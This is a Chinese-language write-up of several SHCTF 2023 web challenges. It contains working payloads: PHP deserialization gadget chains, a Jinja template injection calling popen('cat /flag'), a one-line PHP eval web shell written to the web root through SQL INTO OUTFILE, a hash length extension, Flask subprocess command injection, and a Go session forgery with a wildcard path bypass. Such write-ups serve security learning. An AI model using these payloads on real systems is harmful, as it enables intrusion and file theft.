查缺补漏
WEEK1 babyRCE
登录就给flag 弱口令 admin/password
飞机大战 unicode解码再base64解码
ez_serialize 考点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class A { public $var_1; public function __invoke () { include($this ->var_1); } } class B { public $q; public function __wakeup () { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->q)) { echo "hacker" ; } } } class C { public $var ; public $z; public function __toString () { return $this ->z->var ; } } class D { public $p; public function __get ($key) { $function = $this ->p; return $function(); } } $a = new B (); $a->q = new C (); $a->q->z = new D (); $a->q->z->p=new A (); $a->q->z->p->var_1="/var/log/nginx/access.log" ; echo urlencode (serialize($a) ); ?>
ezphp 考点:
https://xz.aliyun.com/t/2557
1zzphp 考点:
1 2 3 4 5 6 import requests payload = { "c_ode" :'a' *1000000 +"2023SHCTF" } r = requests.post(url='http://112.6.51.212:32212/?num[]=1' ,data=payload) print(r.text)
生成你的邀请函把~ 题目一开始没描述清楚 也有人做出来。。 挺抽象的
我还以为是CRLF 傻逼
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /generate_invitation HTTP/1.1 Host: 112.6 .51 .212 :31589 Content-Length: 119 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Origin: http: Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0 .0 .0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9 ,image/avif,image/webp,image/apng,*
WEEK2 serialize 考点:
反序列化
引用运算符
array绕过正则
php命名规范
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php highlight_file (__FILE__) ;class misca { public $gao; public $fei; public $a; public function __get ($key) { $this ->miaomiao(); $this ->gao=$this ->fei; die($this ->a); } public function miaomiao () { $this ->a='Mikey Mouse~' ; } } class musca { public $ding; public $dong; public function __wakeup () { return $this ->ding->dong; } } class milaoshu { public $v; public function __tostring () { echo"misca~musca~milaoshu~~~" ; include($this ->v); } } function check ($data) { if (preg_match('/^O:\d+/' ,$data)){ die("you should think harder!" ); } else return $data; } unserialize(check($_GET["wanna_fl.ag" ]));
链子不难 难点在于 $this->gao=$this->fei;
这句该怎么用
这里就需要知道引用运算符
举个小例子说明
这里取了了a的地址 修改b 那么也就会修改a
在这道题目我们需要修改$this->a
为milaoshu
对象 所以就要用到引用运算符&
还有就是正则 不能0开头 用array绕过就行
poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class misca { public $gao; public $fei; public $a; } class musca { public $ding; public $dong; } class milaoshu { public $v; } $a = new musca (); $a->ding = new misca (); $a->ding->gao =&$a->ding->a; $a->ding->fei = new milaoshu (); $a->ding->fei->v = 'php://filter/read=convert.base64-encode/resource=flag.php' ; $b = array("1" =>$a); echo urlencode (serialize($b) ); ?> #a%3A1%3A%7Bi%3A1%3BO%3A5%3A%22musca%22 %3A2%3A%7Bs%3A4%3A%22ding%22 %3BO%3A5%3A%22misca%22 %3A3%3A%7Bs%3A3%3A%22gao%22 %3BN%3Bs%3A3%3A%22fei%22 %3BO%3A8%3A%22milaoshu%22 %3A1%3A%7Bs%3A1%3A%22v%22 %3Bs%3A57%3A%22php%3A%2F %2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22 %3B%7Ds%3A1%3A%22a%22 %3BR%3A4%3B%7Ds%3A4%3A%22dong%22 %3BN%3B%7D %7D
no_wake_up 考点:
poc
1 2 3 4 5 6 7 8 9 10 11 12 <?php class flag { public $username; public $code; } $a = new flag (); $a->username = "admin" ; $a->code = "php://filter/read=convert.base64-encode/resource=flag.php" ; echo serialize ($a) ; ?> #O:4 :"flag" :2 :{s:8 :"username" ;s:5 :"admin" ;s:4 :"code" ;s:57 :"php://filter/read=convert.base64-encode/resource=flag.php" ;
ez_ssti 考点:
基础无过滤
?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
payload不唯一
EasyCMS 访问/admin/admin.php
到后台
admin/mao
默认密码登录
可以执行sql语句
直接写马到网站根目录下
1 select "<?php @eval($_POST['x']);?>" INTO OUTFILE "/var/www/html/1.php";
MD5的事就拜托了 考点:
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__) ;include("flag.php" ); if (isset($_POST['SHCTF' ])){ extract(parse_url($_POST['SHCTF' ])); if ($$$scheme==='SHCTF' ){ echo(md5($flag)); echo("</br>" ); } if (isset($_GET['length' ])){ $num=$_GET['length' ]; if ($num*100 !=intval($num*100 )){ echo(strlen($flag)); echo("</br>" ); } } } if ($_POST['SHCTF' ]!=md5($flag)){ if ($_POST['SHCTF' ]===md5($flag.urldecode($num))){ echo("flag is" .$flag); } }
首先就是正常的变量覆盖
POST:SHCTF=host://query?SHCTF
GET:length=0.0000001
然后我们可以得到flag的md5值和flag长度
关键在于
1 2 3 4 if ($_POST['SHCTF' ]!=md5($flag)){ if ($_POST['SHCTF' ]===md5($flag.urldecode($num))){ echo("flag is" .$flag); }
一眼丁真是哈希长度扩展攻击
在这里有弯子猪脑当时没绕过来
举个例子
一般我们哈希长度扩展攻击已知md5($salt.$somethong.$insert)
salt长度和something的值
$insert
是我们可控能输入的点
但是这道题我们只知道md5($flag)
的值 并不知道那一坨的md5值
这里需要绕一下认为salt为0
一般flag格式为flag{xxx-xxx-xxx-xxx}
那么我么们将$somethong=flag{xxx-xxx-xxx-xxx
将这段我们能输入$insert
的当作}
这样我们就变相的知道了那一坨的md5值
利用hashpump工具
在这里a280dad8326674279a3944046bc364f3
其实就是我们加入攻击值之后那一坨的md5值
然后输入的时候length只需要输入%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%001
前面}
就不需要了 不然就和flag重复了 并且length只容许是数字
payload:
1 2 POST:SHCTF=a280dad8326674279a3944046bc364f3 GET:length=%80 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00P%01 %00 %00 %00 %00 %00 %001
[WEEK2]ez_rce(未解出) 考点:
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from flask import *import subprocessapp = Flask (__name__) def gett (obj,arg): tmp = obj for i in arg : tmp = getattr (tmp,i) return tmp def sett (obj,arg,num): tmp = obj for i in range (len (arg)-1 ): tmp = getattr (tmp,arg[i]) setattr (tmp,arg[i+1 ],num) def hint (giveme,num,bol): c = gett (subprocess,giveme) tmp = list (c) tmp[num] = bol tmp = tuple (tmp) sett (subprocess,giveme,tmp) def cmd (arg): subprocess.call (arg) @app.route ('/' ,methods=['GET' ,'POST' ]) def exec (): try : if request.args .get ('exec' )=='ok' : shell = request.args .get ('shell' ) cmd (shell) else : exp = list (request.get_json ()['exp' ]) num = int (request.args .get ('num' )) bol = bool (request.args .get ('bol' )) hint (exp,num,bol) return 'ok' except : return 'error' if __name__ == '__main__' : app.run (host='0.0.0.0' ,port=5000 )
原理:
当subprocess.call()函数第七个参数shell=false则会直接执行命令而不通过shell环境调用
当shell=true时 就会调用/bin/sh 来执行命令
subprocess.call()其实调用的是Popen()
我们跟进一下
可以看到默认shell=false
值得注意的是进程被卡死在这里叫做死锁
如果我们执行命令只是单纯一句指令 那么无论是shell等于true还是false 都会执行 两者没有差别
加了参数那么shell=false就无法执行了
因此这道题就应该先去修改subprocess.call()的第七个参数为true这样我们才能执行带有参数的命令
通过 setattr来修改属性值
setattr(a,b,c):将a对象的第b个属性修改为vlaue=c
需要注意这里exp是json格式的exp = list(request.get_json()['exp'])
payload:?exec=oka&num=7&bol=1
1 2 3 4 5 6 7 { "exp" :[ "Popen" , "__init__" , "__defaults__" ] }
然后进行通过将命令执行的结果写入文件来读取 但是这里不能进行反弹shell 不知道是什么原因
1 ?shell=mkdir+./static;ls+/>./static/a.txt&exec=ok
WEEK3 快问快答 写脚本
sseerriiaalliizzee(未解出) 纯眼瞎
考点:
pop链不难
那么这道题最大的坑点在于如何触发__toString
其实是靠这里的echo语句触发(吐血)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Start { public $barking; } class CTF { public $part1; public $part2; } class Flag {} $a = new Start (); $a->barking=new CTF (); $a->barking->part1='php://filter/write=convert.base64-decode/resource=cmd.php' ; $a->barking->part2='AA' .base64_encode ('<?php phpinfo();?>' ); echo urlencode (serialize ($a)); ?>
需要注意的是这里+
也算是合法字符 所以要加两个任意字符AA来和<?php die("+Genshin Impact Start!+");?>
构成四个一组
也即是 AAphpdie+GenshinImpactStart+
总计为28 为4的整数倍
gogogo(未解出) 主要源码看这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 package route import ( "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "main/readfile" "net/http" "os" "regexp" ) var store = sessions.NewCookieStore ([]byte (os.Getenv ("SESSION_KEY" )))func Index (c *gin.Context ) { session, err := store.Get (c.Request , "session-name" ) if err != nil { http.Error (c.Writer , err.Error (), http.StatusInternalServerError ) return } if session.Values ["name" ] == nil { session.Values ["name" ] = "User" err = session.Save (c.Request , c.Writer ) if err != nil { http.Error (c.Writer , err.Error (), http.StatusInternalServerError ) return } } c.String (200 , "Hello, User. How to become admin?" ) } func Readflag (c *gin.Context ) { session, err := store.Get (c.Request , "session-name" ) if err != nil { http.Error (c.Writer , err.Error (), http.StatusInternalServerError ) return } if session.Values ["name" ] == "admin" { c.String (200 , "Congratulation! You are admin,But how to get flag?\n" ) path := c.Query ("filename" ) reg := regexp.MustCompile (`[b-zA-Z_@#%^&*:{|}+<>";\[\]]` ) if reg.MatchString (path) { http.Error (c.Writer , "nonono" , http.StatusInternalServerError ) return } var data []byte if path != "" { data = readfile.ReadFile (path) } else { data = []byte ("请传入参数" ) } c.JSON (200 , gin.H { "success" : "read: " + string (data), }) } else { c.String (200 , "Hello, User. How to become admin?" ) } }
看题目也知道是个go题目
首先就是伪造admin身份 根据源码
session的key从环境变量中去获取的 盲猜为空 就像国赛那到题目一样 然后本地起一个环境
首先在go.mod引入依赖 然后启动
稍稍修改源码 使得我们session的身份为admin
去获取session 然后打入题目
然后是/readflag路由 去读文件 要绕过一个正则
1 reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
可见还有一个字符a没有过滤 直接利用通配符
payload:/readflag?filename=/??a?